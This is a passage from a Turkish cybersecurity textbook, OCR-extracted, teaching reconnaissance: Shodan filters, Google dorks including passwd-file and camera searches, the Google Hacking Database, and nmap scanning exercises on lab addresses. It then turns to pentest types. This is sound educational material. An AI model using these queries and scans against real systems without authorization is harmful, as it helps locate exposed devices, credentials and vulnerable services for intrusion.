Gorsel 2.40: archive.org ile web sitesinin sorgulanmasi

3. Adim: Sorgulama sonucunda gelen ekrandaki takvimden web sitesinin 10.12.2020
23:34:39 zaman damgali gériintisinil aginiz (Gorsel 2.41).

Gorsel 2.41: Web sitesinin ilgili zamandaki goriintiisii
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2.1.3.3. shodan.io

SHODAN (Sentient Hyper-Optimised Data Access Network), dnsezileri glicli en uygun veri
erisim agl anlamini tasir. Saldirganlar, pasif kesif asamasinda hedef sistemlerin altyapilarina
erisebilmek ve daha ayrintili bilgi toplayabilmek igin shodan.io web sitesini kullanabilirler. Bu
nedenle shodan, hackerlarin arama motoru olarak bilinir (Gorsel 2.42). Bu arama motoru,
diinya Gzerinde internete bagl olan farkli tirlerdeki bilgi islem sistemini tespit eder. Bilgi islem
sistemlerinde yer alan cihazlar hakkinda bilgi toplar.

Gorsel 2.42: SHODAN arama motoru

Kullanicilar, shodan arama motorunu kullanarak Ulke ve sehir bazh filtreleme yapabilir.
Filtreleme sonucunda tespit edilen sistem (izerindeki port ve servis bilgilerine, IP adreslerine
ulasilabilir.

Kullanicilar bu arama motorunda loT cihazlari, IP kameralari, sunuculari, SCADA sistemleri,
nikleer santralleri, agik trafik 15181 sistemlerini aratabilir. Hatta bu arama motoru ile deniz uydu
ahicilart aratilarak gemilerin isimleri, konumlari, iletisim numaralari dahil bir¢ok bilgi tespit
edilebilir.

. 5. UYGULAMA

shodan.io Kullanimi

Asagidaki islem adimlarina gére shodan arama motorunu kullaniniz.

1. Adim: shodan.io web sayfasini aginiz.

2. Adim: Varsayilan parola kullanan sistemlerin tespit edilebilmesi icin arama ¢ubuguna
“default password” yaziniz. Enter tusuna basiniz (Gorsel 2.43).

Gorsel 2.43: Varsayilan parola sorgulama
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3. Adim: Sorgulama tamamlandiginda varsayilan parolayi kullanan sistemlere iliskin bilgileri
inceleyiniz (Gorsel 2.44).

Gorsel 2.44: Varsayilan parola sorgulama sonucu

Shodan arama motorunda filtreleme parametreleri kullanilarak aramalar daha spesifik hale
getirilebilir. Shodan ile kullanilabilecek bazi filtreler sunlardir:

e city: Belirli bir sehre gore filtreleme yapar.

e country: Belirli bir tlkeye gore filtreleme yapar.

e 0s: Isletim sistemi bilgisine gore filtreleme yapar.

e port: Acik olan port bilgisine gore filtreleme yapar.

e product: Belirli bir trline gore filtreleme yapar.

¢ hosthame: Hostname veya domain bilgisine gore filtreleme yapar.
e geo: Cografik lokasyon (enlem, boylam) bilgisine gore filtreleme yapar.
e net: IP adresi veya subnet araligina gore filtreleme yapar.

e isp: internet servis saglayicilari bilgisine gore filtreleme yapar.

e org: Kurulus ismine gore filtreleme yapar.

e server: Sunucu bilgisine gore filtreleme yapar.

e title: Cihazlarin basliklarinda yazan bilgiye (irin adi, modeli) gore filtreleme yapar.

Bilgi Toplama Teknikleri 79



. 6. UYGULAMA

shodan.io Filtreleme Kullanimi

Asagidaki islem adimlarina gére shodan arama motorunu kullaniniz.

1. Adim: shodan.io web sayfasini aginiz.

2. Adim: Tirkiye'nin istanbul ilinde TELNET hizmeti acik olan cihazlari gérmek icin arama
kutusuna filtre uygulayiniz (Gorsel 2.45).

Gorsel 2.45: Filtreleme 6rnegi-1

e country:TR city:Istanbul port:23 parametreleri ile filtre uygulanarak ilgili cihazlarin bilgileri
goruldr.

3. Adim: internet servis saglayicisi Vo***e ve 21-25 arasindaki portlari acik olan cihazlari
gormek icin arama kutusuna filtre uygulayiniz (Gorsel 2.46).

Gorsel 2.46: Filtreleme 6rnegi-2
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e isp: "Vo***e" port:21-25 parametreleri ile filtre uygulanarakilgili cihazlarin bilgileri goralir.

4. Adim: Hindistan’daki 21, 22, 23, 24, 25 ve 80 numarali portlari agik olan cihazlari gormek
icin arama kutusuna filtre uygulayiniz (Goérsel 2.47).

Gorsel 2.47: Filtreleme 6rnegi-3

e country:IN port:21-25 and 80 parametreleri ile filtre uygulanarak ilgili cihazlarin bilgileri
goraldr.

5. Adim: Bursa ilindeki Apache 2.2.3 versiyonu olan sistemleri ve sorunsuz agilan sayfalari
gormek icin arama kutusuna filtre uygulayiniz (Gorsel 2.48).

Gorsel 2.48: Filtreleme 6rnegi-4

e city:Bursa "apache 2.2.3" "200 OK" parametreleri ile filtre uygulanarak ilgili sistemlerin
bilgileri goralur.
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6. Adim: Amerika Birlesik Devletleri’'nde SNMP hizmeti agik olan Cisco 7200 yonlendiricileri
gormek icin arama kutusuna filtre uygulayiniz (Gorsel 2.49).

Gorsel 2.49: Filtreleme 6rnegi-5

e country:US product:"Cisco 7200 Router" port:161 parametreleri ile filtre uygulanarak ilgili
cihazlarin bilgileri gorulir.

7. Adim: Isletim sistemi Windows 7, kurulus (organizasyon) ismi Google olan sistemleri
gormek icin arama kutusuna filtre uygulayiniz (Gorsel 2.50).

Gorsel 2.50: Filtreleme 6rnegi-6

e os:"windows 7" org:"Google" parametreleri ile filtre uygulanarak ilgili sistemlerin bilgileri
gorular.
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2.1.3.4. Google Dorking ve Google Hack Database

Kisi ve kurumlarin internet ortaminda biraktigi dijital ayak izleri, arama motorlari tarafindan
indekslenir. indekslenen dijital ayak izleri, uzun bir siire arama motorlarinda erisilebilir halde
bulunur. Hedef sistem, kurum veya kisi hakkinda daha fazla bilgiye ulasmak icin arama motorlari
kullanilir. En yaygin kullanilan arama motoru Google’dir.

Google Dork, arama motorlarinda yapilan arastirmalari daha etkili ve hedef odakli hale
getirmek icin kullanilan bir tekniktir. Google’in bu 6zel arama yontemleri ile bir web sitesindeki
SQL agigina, herhangi bir konuda belirli bir uzantiya sahip olan dosyalara ve birgok 6zel arama
sonucuna hizlica ulasilabilir.

Google arama motorunun sagladig anahtar kelimeler (dorklar) ile detayh bilgi toplama
yapilabilir. Arama motorunun indeksleme becerisi, zararl olabilecek bircok kritik bilginin de
indekslenmesine yol acar. Bu indekslenme islemi sonucunda arama motorlarinin arama 6zellikleri
kotl amaclar icin kullanilabilir ve zafiyetli noktalar tespit edilebilir.

Google arama motorundan bilgi toplamada kullanilabilecek bazi dorklar sunlardir:

e site: Belirtilen web site ile ilgili sonuglari listeler.

o filetype: Belirtilen uzantiya sahip dosyalari listeler.

e inurl: Belirtilen parametreyi iceren URL adreslerini listeler.

e intitle: Belirtilen parametreyi iceren basliga sahip olan sonuclari listeler.
e intext: Belirtilen parametreyi iceren web sayfalarini listeler.

o mail: Belirtilen domaine ait mail adreslerini listeler.

. 7. UYGULAMA

Google Dork Kullanimi

Asagidaki islem adimlarina gére Google Dork kullaniniz.

1. Adim: Google arama motorunu aginiz.

2. Adim: eba.gov.tr web sitesindeki doc uzantili dosyalari listeleyiniz (Gorsel 2.51).

Gorsel 2.51: Google Dork 6rnegi-1
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3. Adim: index of basligina sahip web sitelerini listeleyiniz (Gorsel 2.52).

[ ]

Gorsel 2.52: Google Dork 6rnegi-2

4. Adim: passwd parola dosyalarina sahip web sitelerini listeleyiniz (Gorsel 2.53).

Gorsel 2.53: Google Dork 6rnegi-3
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Google Hack Database, Google sorgularinin listesini iceren bir indeksleme veri tabanidir. Bu
veri tabanina https://www.exploit-db.com/google-hacking-database baglantisindan erisilebilir
(Gorsel 2.54).

Gorsel 2.54: Google Hack Database

Google Hack Database kullanilarak kullanici adi, parolalar, kritik bilgiler iceren hata mesajlari
ve giivenlik zafiyetleri bulunabilir. ilgili veri tabaninda yer alan giincel dorklar kullanilarak dnemli

bilgiler toplanabilir.

8. UYGULAMA

Google Hack Database Kullanimi

Asagidaki islem adimlarina gére Google Hack Database web sitesinde Google Dork kullaniniz.

1. Adim: Google Hack Database web sitesini aginiz.

2. Adim: Google Hack veri tabaninda yer alan arama ¢ubuguna “video” yaziniz (Gorsel 2.55).

Gorsel 2.55: Google Hack Database video sorgulama
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3. Adim: ilgili sorgu sonuglarini inceleyiniz (Gérsel 2.56). Segilen dork ciimlesini kopyalayiniz.

Gorsel 2.56: Sorgu sonuglari

4. Adim: Google arama motorunu aciniz. Kopyaladiginiz dork climlesini Google arama
cubuguna yapistiriniz (Gorsel 2.57).

Gorsel 2.57: Video Google Dork kullanimi

5. Adim: Google arama motoru sonuglari listelendiginde kamera cihazlarini ve video akislarini
inceleyiniz (Gorsel 2.58).

Gorsel 2.58: Kamera cihazlarini ve video akiglarini sorgulama sonucu
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2.1.3.5. OSINT Framework

OSINT Framework, kullanicilari ylizlerce pasif bilgi toplama aracina yonlendiren bir web
sitesidir. Bu web sitesindeki kategorilerden bilgi toplanmak istenen hedefe uygun olani segcilir.

Secilen kategorideki araglar ile pasif bilgi toplama gergeklestirilir (Gorsel 2.59).

Gorsel 2.59: OSINT Framework

2.2. AKTIF BiLGI TOPLAMA YONTEMLERI UYGULAMALARI

Aktif bilgi toplama yontemlerinde bilgi alinmak istenen hedef ag veya sistem ile dogrudan
iletisime gecilir. Bu nedenle hedef sistemde log kaydi olusur ve iz birakilir. Aktif bilgi toplama,
saldirgan acisindan en riskli bilgi toplama yontemidir. Tespit edilme olasiligi bulundugu icin
saldirganin dikkatli olmasi gerekir. Bir siber glivenlik uzmani da savunma amacl olarak aktif bilgi

toplama yontemlerini iyi derecede bilmelidir.
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Aktif bilgi toplama yontemleri, sizma testlerinde sistemlerin agiklarini tespit etmeye imkan
saglar. Aktif bilgi toplama yonteminde saglanmaya calisilan hedeflerden bazilari sunlardir:

e Erisilebilen tim sunucularin tespit edilmesi

e Sunucularin tzerinde ¢alisan servis ve versiyonlarin tespit edilmesi
e Servis ve versiyonlarin potansiyel zafiyet analizinin yapilmasi

e Saldiri tekniklerinin gelistirilmesi

e Erisilebilen tim web uygulamalarinin tespit edilmesi

e Ag hazirlanirken gerekli ayarlarin test edilmesi

2.2.1. Network Mapping (Ag Haritalama)

Nmap (Network Mapper) yazilimi, ag haritasinin ve topolojisinin ¢ikarilmasinda kullanihr.
Acik kaynak kodlu olan nmap, kullanilan en etkin ag tarama yazilimidir. Bu yazilim, bilgisayar
aglari uzmani Gordon Lyon (Fyodor) tarafindan gelistirilmistir.

Nmap; ag lizerindeki cihazlarin agik olan portlarini, isletim sistemlerini, ¢alisan servislerini ve
versiyonlarini bulmak, TCP/IP sistemlerini kesfetmek, zafiyetlerini tespit etmek amaciyla yaygin
bicimde kullanilir.

a@ iz

NSE (Nmap Scripting Engine) araglari kullanilarak bazi zafiyetler tespit edilebilir.

Nmap komutu kullanilirken tarama tiriine ve opsiyonlarina karar verilebilir, istenen
ozelliklerde tarama islemi gerceklestirilebilir. Nmap, bir cihazi veya birden fazla cihazin bulundugu
agl tarayabilir. Tarama islemi, ¢esitli ag protokolleri aracihigiyla bilgi toplamayi saglar. Agdaki cihaz
veya cihazlara ham paketler génderilir. Bu paketlere verilen yanitlar incelenerek kesif islemleri
yapilir. Ornegin verilen yanitlardan portlarin bir giivenlik duvari tarafindan acik, kapali veya filtreli
olup olmadigi hakkinda bilgi edinilebilir.

Nmap araci, Kali Linux iginde kurulu olarak gelir. Nmap aracini kullanmak igin hedef sisteme ait
bir IP adresi veya web site adresi gerekir. Bir IP adresinin bulundugu agin haritasinin gikarilmasi
icin nmap komutunun en basit kullanimi nmap <ip adresi> seklindedir (Gorsel 2.60).

Gorsel 2.60: nmap komutunun en basit kullanimi
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Gorsel 2.60'ta gorilen ekranda nmap komutu varsayilan olarak en ¢ok kullanilan 1000 porta
SYN taramasi yapar. Hedefe iliskin SYN taramasi yapmak, TCP protokoliiniin SYN bayragini
kullanarak agik hizmetlerin bulunmasini saglar.

Nmap taramasi sonucunda Gorsel 2.61’deki ekran ile karsilasihr.

Gorsel 2.61: nmap taramasi sonucu

Gorsel 2.61'de bulunan IP adresinin nmap tarama sonucunda acik port ve servisleri
listelenmistir. Ayrica nmap komutunun sadece varsayilan 1000 portu 20.27 saniyede taradigi, 16
adet portun acik ve 984 adet portun da filtreli oldugu bilgileri gorilir.

2.2.2. Nmap Parametreleriyle A¢ik Sistemlerin Tespiti

Ag glvenligi testlerine baslamadan 6nce yapilmasi gereken ilk islem, ag lzerindeki acik
sistemlerin tespitidir. Bunun i¢in nmap parametreleri kullanilir. Komut satirinda nmap -h komutu
uygulanarak acilan yardim sayfasinda goriilen nmap parametrelerinin kullanimi daha detayli
incelenebilir (Gorsel 2.62).

Gorsel 2.62: nmap yardim sayfasi

Bilgi Toplama Teknikleri 89



2.2.2.1. Nmap Parametreleri

Nmap ag haritalama uygulamasinin parametreleri sunlardir:

-iL <dosya adi>: IP adreslerinin belirtildigi dosyadan bilgileri alarak tarama yapar.
-iR <host sayisi>: Host sayisi kadar hedefi tarar. Rastgele hedef secer.

--exclude <host1[,host2][,host3],...>: Taranmasi istenmeyen IP adresleri belirtilir.
--excludefile <dosya adi>: Taranmasi istenmeyen IP adresleri bir dosya icinden alinir.
-sn: Port taramasini devre disi birakarak aktif hostlarin tespiti icin sadece ping atar.
-Pn: Ping gdbndermeden tarar. Her IP adresini aktif kabul eder.

-PS: TCP SYN ping atarak kesif yapar.

-PA: TCP ACK ping atarak kesif yapar.

-PU: UDP ping atarak kesif yapar.

-PE: ICMP Echo Request ping atarak kesif yapar.

-PP: ICMP Timestamp ping atarak kesif yapar.

-n: Asla DNS ¢6ziimlemesi yapilmaz.

-R: Her zaman DNS ¢6ziimlemesi yapilir.

--traceroute: Traceroute 6zelligini aktif hale getirir.

-sS: TCP SYN taramasi yapar. Gizli tarama olarak bilinir.

-sT: TCP baglantili tarama yapar.

-sA: TCP ACK taramasi yapar.

-sU: UDP taramasi yapar.

-sN: TCP NULL taramasi yapar.

-sF: TCP FIN taramasi yapar.

-sO: IP protokolli taramasi yapar.

-p: Belirtilen portlari tarar.

-F: Daha hizli tarama yapar. En ¢ok kullanilan 100 port taranir.

--top-ports <sayi>: Belirtilen sayi kadar sik kullanilan portlari tarar.

-sV: Acik portta calisan servisin versiyonunu tespit eder. -sC ile birlikte kullanilr.
-sC: -sV ile versiyon tespiti yapilirken nmap scriptlerini kullanir.

-0: isletim sistemi bilgisini tespit eder.
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-v, -vv: Ekranda gosterilecek detaylari artirir.

--reason: Port durumunun nedenini gosterir.

--open: Sadece acik portlari gosterir.

-p-: Bir IP Gizerinde bulunmasi muhtemel 0-65535 arasindaki tiim portlari tarar.
-A: Agresif tarama yapar.

-T: Zamanlama sablonu belirtir.

2.2.3. Nmap Tarama Teknikleri

Nmap tarama teknikleri IP tarama, port tarama ve portlarda servis tarama olmak (izere l¢
sekilde siniflandirilir.

2.2.3.1. IP Tarama Teknikleri

Host IP adresi, IP araligi ve network (ag) adreslerinin taranmasinda kullanilan tekniklerdir.

. 9. UYGULAMA

Nmap Kullanarak IP Tarama

Asagidaki islem adimlarina gére nmap komutunu kullaniniz.

1. Adim: Hedef host IP adresinin nmap taramasini yapiniz (Gorsel 2.63).

Gorsel 2.63: nmap ile host IP taramasi

2. Adim: Host IP adresi tarama sonuglarini inceleyiniz (Gorsel 2.64).

Gorsel 2.64: Host IP nmap tarama sonuglari
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e  Hedef IP adresinin 1000 portu nmap ile taranir.

3. Adim: Hedef IP araliginin nmap taramasini yapiniz (Gorsel 2.65).

Gorsel 2.65: nmap ile IP araligi taramasi

4. Adim: Hedef IP araliginin tarama sonuglarini inceleyiniz (Gorsel 2.66).

Gorsel 2.66: IP araligi nmap tarama sonuglari
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© 192.168.56.101, 192.168.56.102 IP adresleri nmap ile taranir.

5. Adim: Hedef ag adresinin nmap taramasini yapiniz (Gorsel 2.67).

Gorsel 2.67: nmap ile ag taramasi

6. Adim: Hedef agin tarama sonuglarini inceleyiniz (Gorsel 2.68).

Gorsel 2.68: Ag nmap tarama sonuglari
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© 192.168.56.0/24 agi nmap ile taranir.

7. Adim: Hedef domainin nmap taramasini yapiniz (Gorsel 2.69).

Gorsel 2.69: nmap ile domain taramasi

8. Adim: Hedef domainin tarama sonuglarini inceleyiniz (Gorsel 2.70).

Gorsel 2.70: Domain nmap tarama sonuglari

e  scanme.nmap.org domaini nmap ile taranir. -vv parametresi ile tarama sonugclari detayl
sekilde gosterilir.

10. Adim: Hedef IP adreslerinin bulundugu hedef.txt dosyasini olusturunuz (Gorsel 2.71).

L 1

Gorsel 2.71: hedef.txt dosyasi
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11. Adim: Dosyada bulunan hedef IP adreslerinin nmap taramasini yapiniz (Gorsel 2.72).

Gorsel 2.72: nmap ile hedef dosyadan IP taramasi

12. Adim: Dosyadan alinan hedef IP adreslerinin tarama sonuglarini inceleyiniz (Gorsel 2.73).

— 1

Gorsel 2.73: Dosyadan alinan IP adreslerinin nmap tarama sonuglari

e -iL parametresi ile hedef.txt dosyasindaki IP adresleri nmap ile taranir.

ARASTIRMA

--exclude ve --excludefile parametrelerinin kullanimi hakkinda arastirma yapiniz. Arastirma

sonuglarini 6gretmeniniz ve arkadaslarinizla paylasiniz.
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2.2.3.2. Port Tarama Teknikleri

Hedef sistemlerin portlarinin taranmasinda kullanilan tekniklerdir.

Nmap Kullanarak Port Tarama

10. UYGULAMA

Asagidaki islem adimlarina gére nmap komutunu kullaniniz.

1. Adim: Agdaki aktif hostlari tespit eden nmap taramasini yapiniz (Gorsel 2.74).

oo

Gorsel 2.74: Aktif hostlari tespit etme

e 192.168.56.0/24 aginda -sn parametresi ile portlar taranmaz. Sadece ping atilarak aktif
hostlar belirlenir.

2. Adim: Hedef IP adresinin 80 numarali portuna nmap taramasi yapiniz (Goérsel 2.75).

Gorsel 2.75: Port taramasi yapma

* -p parametresi ile 192.168.56.102 IP adresine sahip hostun 80 numarali portu taranir. -n
parametresiile DNS ¢6ziimlemesi yapilmaz.

3. Adim: Hedef IP adresinin sadece acik olan portlarina nmap taramasi yapiniz (Gorsel 2.76).
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Gorsel 2.76: Sadece agik portlari tarama

e --open parametresiile 192.168.56.101 IP adresine sahip hostun sadece agik portlari taranir.

4. Adim: Hedef IP adresinin 22 ve 23 numarali portlarina nmap taramasi yapiniz (Gorsel 2.77).

Gorsel 2.77: iki portu tarama

e -p parametresi ile 192.168.56.101 IP adresine sahip hostun SSH ve TELNET portlari taranir.
Belirtilen portlar virgllle ayrilir.
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5. Adim: Hedef IP adresinin tim portlarina nmap taramasi yapiniz (Gorsel 2.78).

Gorsel 2.78: Tim portlari tarama

e -p '*' parametresiile 192.168.56.101 IP adresine sahip hostun tiim portlari taranir.

. ARASTIRMA

--top-ports parametresinin kullanimi hakkinda arastirma yapiniz. Arastirma sonuglarini

O0gretmeniniz ve arkadaslarinizla paylasiniz.

6. Adim: Hedef IP adresinin tiim TCP portlarina nmap taramasi yapiniz (Gorsel 2.79).

Gorsel 2.79: Tiim TCP portlari tarama
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e  -sT parametresiile 192.168.56.101 IP adresine sahip hostun tiim TCP portlari taranir.

7. Adim: Hedef IP adresinin 443 numarali TCP portuna nmap taramasi yapiniz (Gorsel 2.80).

Gorsel 2.80: Bilinen TCP portunu tarama

e -p T:443 parametresi ile 192.168.56.101 IP adresine sahip hostun HTTPS portu taranir.

--reason parametresinin kullanimi hakkinda arastirma vyapiniz. Arastirma sonuglarini

ARASTIRMA

O0gretmeniniz ve arkadaslarinizla paylasiniz.

8. Adim: Hedef IP adresinin 20 ile 30 arasindaki portlarina TCP SYN taramasi yapiniz (Gorsel
2.81).

Gorsel 2.81: TCP SYN taramasi
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. ARASTIRMA

Nmap ile versiyon tespitinin nasil yapilacagini arastiriniz. Arastirma sonuglarini 6gretmeniniz

ve arkadaslarinizla paylasiniz.

2.2.3.3. Portlarda Servis Tarama Teknikleri

Hedef sistemlerin portlarindaki servislerin taranmasinda kullanilan tekniklerdir.
--script parametresi ile zafiyet tespiti yapmak icin 21 numarali port lzerinden FTP servisi
kontrol edilir (Gorsel 2.82).

Gorsel 2.82: Linux isletim sisteminde ftp servisini tarama

--script parametresi ile zafiyet tespiti yapmak icin 445 numarali port tGzerinden microsoft-ds
servisi kontrol edilir (Gorsel 2.83).

Gorsel 2.83: Windows isletim sisteminde microsoft-ds servisini tarama
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2.2.4. On-line Port Tarama Teknikleri

Port tarama islemleri, web siteleri tizerinden de yapilabilir. On-line port taramak icin https://
viewdns.info/portscan web sitesi kullanilabilir (Gorsel 2.84).

Gorsel 2.84: On-line port tarama
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OLCME VE DEGERLENDIRME

A) Asagidaki ciimlelerde parantezlerin igine yargilar dogru ise “D”, yanlis ise “Y” yaziniz.

1.( ) Bingarama motoru ile bilinen bir IP adresi hakkinda bilgi toplanir.
2.( ) LBDaraciile kurumlarin e-posta adresleri tespit edilir.
3.( ) OSINT Framework bircok bilgi toplama aracina baglanti verir.

4.( ) Maltego, topladig bilgileri gorsellestirerek sunar.

B) Asagidaki ciimlelerde bos birakilan yerlere dogru sézciikleri yaziniz.

5. Ag haritasini ¢ikarmak ve portlari taramak amaciyla kullantlan ...,
yazilimi bir aktif bilgi toplama aracidir.

6. internete bagh akilli cihazlar hakkinda bilgi toplamak iGin ......cccccoeeeveeeverrreeeeeeerieenenn. arama
motoru kullanihr.

7. Google arama motorunda daha etkili ve hedef odakli arastirmalar yapmak icin anahtar
kelimeler kullanilir. Bu anahtar kelimelere .......cocooeveeveeeieniieiniee, denir.

C) Asagidaki sorulari dikkatlice okuyarak dogru segenegi isaretleyiniz.
8. Asagidaki parametrelerden hangisi theHarvester araciyla bilgi toplanmak istenen alan
adini belirtmek igin kullanihr?
A) -b B) -d
C)f D) -l
E)-S

9. Asagidaki dorklardan hangisi belirtilen uzantiya sahip dosyalar listelemek amaciyla

kullanilir?
A) filetype B) intext
C) intitle D) inurl

E) site

10. Asagidaki hangisi web sayfasinin ge¢mis anlik gériintiilerine ulagsmak icin kullanilir?

A) archive.org B) ns.tools
C) ripe.net D) shodan.io

E) viewdns.info
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11. Asagidakilerden hangisi shodan arama motorunda igletim sistemine gore filtreleme
yapmak igin kullanilan bir parametredir?

A) city

B) geo

C) hostname

D) os

E) port

12. Asagidakilerden hangisi nmap komutu ile SYN taramasi yapmak igin kullanilan
parametredir?

A) -sF
B) -sN
C) -sO
D) -sS
E) -sV

13. Asagidakilerden hangisi nmap komutu ile ping atmadan tarama yapmak i¢in kullanilan
parametredir?

A) -A
B) -p
C) -PA
D) -Pn
E) -sn
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KONULAR

3.1. SIBER ALANDA GUVENLIK

3.2. GUVENLIK ACIKLARININ NEDENLERI
3.3. SIZMA TESTi (PENETRATION TEST)

3.4. SIZMA TESTLERI

3.5. SIZMA TESTi UYGULAMA ALANLARI

3.6. SIZMA TESTLERI iCIN KAPSAM BELIRLEME
3.7. SIZMA TESTLERINDE iZLENECEK YOLLAR
3.8. SANAL SIZMA LABORATUVARININ KURULUMU
3.9. SIZMA TESTi ASAMALARI

3.10. ZAMANLAMA

3.11. SIZMA TEST KALITESININ OLCUMU

3.12. BULGULARIN SAKLANMASI

NELER OGRENECEKSINiz?

e Bilgi glivenliginin 6nemi

¢ Guvenlik agiklarinin nedenleri

¢ Beyaz, gri ve siyah sizma yontemleri
e Sizma testi yapma

e Zafiyet tarama islemi

e Kali Linux isletim sistemi

¢ Metasploit programi

e Nmap programi

ANAHTAR KELIMELER

Kali Linux, metasploit, nmap, pentest, exploit, backdoor, rootkit, bilgi glivenligi, sizma testi,
ag guvenligi, sanal sizma testi laboratuvari
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HAZIRLIK CALISMALARI

1. internet ortaminda baska bir bilgisayara izinsiz nasil girilebilir?

2. Kali Linux isletim sistemi hangi amaclar icin kullanilir?

3. Bilgisayardaki verilerin glivenligi saglanamazsa neler olur?

3.1. SiBER ALANDA GUVENLIK

GUnUmuzde internet gibi bliylk bir ag ortaminda ¢ok sayida kullanilan cihazlar (bilgisayarlar,
mobil telefonlar, IP kameralar vb.) birbiriyle baglantili oldugu icin bunlarin diger ag Uyeleriyle
iliskilerini dlizenlemek ve yasal formatta devam ettirmek gerekir.

Bir ag ortamina baglh cihazlarin yasal olmayan birtakim yontemlerle devre disi birakilmasi
veya cihaz icinde bulunan verilerin alinmasi, glivenligin en st dizeyde tutulmasini gerektirir.

Bilisim diinyasinda siber saldirganlar her gecen giin yeni aciklar bulurlar. Bulduklari bu agiklari
cesitli programlar ile tespit edip istedikleri cihaza izinsiz girer ve cihazi veya cihazdaki verileri
kendi amaglari dogrultusunda kullanirlar.

3.2. GUVENLIK ACIKLARININ NEDENLERI

Guvenlik agiklarinin nedenleri asagida verilmistir.

Tasarim ve Gelistirme Hatalari: Donanim se¢iminin, ag baglantilarinin, IP numaralandirmala-
rinin yanlis yapilmasindan veya yanlis yazilim yiiklemesinden kaynaklanan hatalardir.

insan Hatalari: Gerekli bilgiye sahip olmayan kisilerin sistemleri ve yazilimlari kullanmasindan
kaynaklanan hatalardir.

Egitim Eksikligi: Calisan personele kullanilan programlar hakkinda yeterince egitim verilme-
mesinden kaynaklanan hatalardir.

Sifreler: Calisan personele verilen sifrelerin dogru kullaniimamasindan kaynaklanan hatalar-
dir.

Baglant1 Sorunlari: Givenli olmayan aglarin kullaniimasindan kaynaklanan hatalardir.

Karmasiklik: Kullanilan ag altyapisinin karmasik olmasindan kaynaklanan hatalardir.
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3.3. SIZMA TESTi (PENETRATION TEST)

Siber saldirilara karsi veri ve cihaz glvenligini
saglamak icin ag ortami veya hazirlanan web
siteleri dnceden kontrol edilmelidir. Bu kontroll saglamak
icin uzman kisiler tarafindan gesitli testler uygulanir. Bu
testlere sizma testi (penetrasyon test, pentest), testleri
uygulayan kisilere de sizma testi uzmani (pentester) denir

(Gorsel 3.1). Gorsel 3.1: Sizma testi uzmani

Sizma testleri, glivenlik uzmanlari tarafindan ilgili kurumdan izin alinarak gergeklestirilir.
Guvenlik uzmani, ilgili kurumun ag sistemine veya web sayfasina kotl niyetli bir saldirganin
zarar vermesini 6nlemek icin agdaki ve web sayfasindaki bittn agiklari tespit etmeye calisir. Bu
islemler sonucunda bir rapor hazirlar ve glivenlik aciklari icin gerekli dnlemleri alir.

3.4. SIZMA TESTLERI

Bilisim alaninda giivenlik uzmanlarinin kullandigi li¢ gesit sizma testi bulunmaktadir.

3.4.1. Beyaz Kutu (White Box) Testi

Herhangi bir sistemin veri akisini dogrulamak, kullanilabilirligini ve glivenligini gelistirmek icin
glvenlik uzmanlarinin yaziimin yapisini, tasarimini ve kodlamasini kontrol ettigi test teknigidir
(Gorsel 3.2). Sizilacak sistem hakkinda her tlrli bilgi ve erisim izni mevcuttur.

Gorsel 3.2: White box sizma test yontemi

Sizma Testi Teknikleri
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Guvenlik uzmanina kurum tarafindan sistemin kodlari verilir ve bu kodlar gorilerek test yapilir.
Beyaz kutu test teknigi hem kod gelistiriciler hem de glivenlik uzmanlari tarafindan kullanilir. Diger
sizma testi ¢esitlerine gére maliyeti en ucuz testtir. Bu test g¢esidinde kontrol edilen durumlar
asagida verilmistir.

¢ Kodlama yapilirken yanlis veya fazla yazilan bélimler

e Kod araciligiyla belirli girdilerin akisi ve ¢alismasi

e \eri girisleri sonrasinda almak istenilen giktilar

* Programda kullanilan dongiilerin ¢alismasi

e Calisan her kod blokunun ve goérevinin test edilmesi

3.4.1.1. Beyaz Kutu Testinin Avantajlari ve Dezavantajlar
Beyaz kutu testinin avantajlari sunlardir:

e Yazilim gelistirilirken tasarlanip yapildigi icin testlere erken siirelerde miidahale edilebilmek-
tedir.

e Yazilim gelistiriciler kendi kod parcaciklarini defalarca gézden gecirdikleri icin kodun gliveni-
lirligi ylksektir.

Beyaz kutu testinin dezavantajlari sunlardir:

e Kod okumayi bilen nitelikli bir yazilim test uzmani bulmak zor ve maliyetlidir.

e Yazilim gelistirici kendi testini kendi yaptigi icin gbzden kagabilen noktalar olabilir.

e Testler cok kapsamli ve ayrintili oldugu i¢in uzun zaman alabilir.

3.4.1.2. Beyaz Kutu Testinin Yapim Asamalari
Herhangi bir sistem igin beyaz kutu sizma teknigi kullanilirken bildirim asamasi, déngilerin
incelenmesi asamasi ve yol asamasi olmak Uzere lic asamadan bahsedilebilir.

Bildirim Asamasi: Programda kullanilan kodlarin en az bir kere galistirilip ¢alistirilmadiginin
kontrol edilmesi islemidir.

Dongiilerin Kontrol Edilmesi Asamasi: Programda dongillerle olusturulan dallanmalarin
kontrol edilmesi islemidir. Dongtilerin ¢alisip calismadiginin anlasilabilmesi icin degerler verilir ve
programin istenen sonuclari Gretip Gretmedigi kontrol edilir.

Yol Asamasi: Programin bitiin ¢alisma yollarinin test edilmesidir. Bu teknik biyik ve karmasik
programlari test etmeye elverislidir.
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3.4.1.3. Beyaz Kutu Test Araglari
Yaygin olarak kullanilan agik kaynak kodlu beyaz kutu test araglari (programlari) sunlardir:

JUnit: Java programlama dilini kullanan yazilim test uzmanlari icin bir birim test aracidir.

HtmlUnit: Yazilim test uzmanlarinin kullandigi tarayici islevselligini programli olarak simile
eden, HTTP cagrilari yapmasina izin veren Java tabanl bir test aracidir. Cogunlukla web tabanl
uygulamalarda JUnit gibi diger birim test aracglarinin Gizerinde uyum testleri yapmak icin kullanilir.

PyUnit: Python programlama dilini kullanan yazilim test uzmanlari icin bir birim test aracidir.

Selenium: Cesitli platformlarda ve tarayicilarda web uygulamalarini otomatik olarak dogrula-
mak i¢in kullanilan test araglari paketidir. Python, C# ve JavaScript dahil olmak Uzere ¢ok gesitli
programlama dillerini destekler.

1. UYGULAMA

Beyaz Kutu Testi

Asagidaki islem adimlarina gére herhangi bir programlama dilinde yazilan kod blokunda
degiskenlere deger vererek beyaz kutu testini yapiniz.
GIRISA &B
C=A+B
EGER C>100
"BITTi" YAZDIR

1. Adim: Yukaridaki kod satirlarini kontrol etmek icin A=40 ve B=70 gibi rastgele degerler
veriniz. Programin bitin kod satirlarinin diizglin ¢alistigini, C degerinin 100 rakamindan buyuk
oldugunu ve ekranda “BITTi” yazdigini goriiniiz.

2. Adim: Bu kod satirlarini kontrol etmek icin A=33 ve B=45 gibi degerler giriniz. C=A+B
isleminin sonucunda C=78>100 ifadesinin yanlis oldugunu goriniz. Bu sonug ¢iktiginda program
